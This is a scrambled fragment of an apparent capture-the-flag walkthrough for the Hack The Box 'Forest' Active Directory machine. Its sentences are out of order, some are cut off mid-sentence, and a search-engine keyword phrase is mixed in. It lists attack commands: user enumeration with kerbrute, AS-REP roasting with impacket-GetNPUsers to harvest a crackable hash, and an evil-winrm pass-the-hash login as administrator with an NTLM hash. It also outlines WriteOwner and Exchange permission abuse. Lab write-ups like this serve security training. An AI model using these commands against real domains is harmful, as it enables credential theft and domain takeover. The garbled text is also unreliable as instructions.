The known attack: privilege on the Exchange Windows Permissions group.
impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -format hashcat -outputfile asreproast.hashes The output will include a hash for svc-alfresco :
kerbrute userenum --dc 10.10.10.161 -d htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt But for efficiency, we can also use ldapsearch :
If you are searching for the , you have come to the right place. We will cover enumeration, AS-REP roasting, cracking hashes, WinRM access, and finally abusing WriteOwner privileges to compromise the domain.
cd C:\Users\svc-alfresco\Desktop type user.txt Phase 4: Privilege Escalation (User to Administrator) The path to root.txt is not a simple kernel exploit—it's an AD misconfiguration. Step 1: Enumerate Current Privileges From the WinRM session, run: forest hackthebox walkthrough best
Better yet: Create a new user, add them to a privileged group? No — Account Operators cannot modify Domain Admins directly, but they can .
evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90f43dfa1e816ec0a1c8 Now list the root directory:
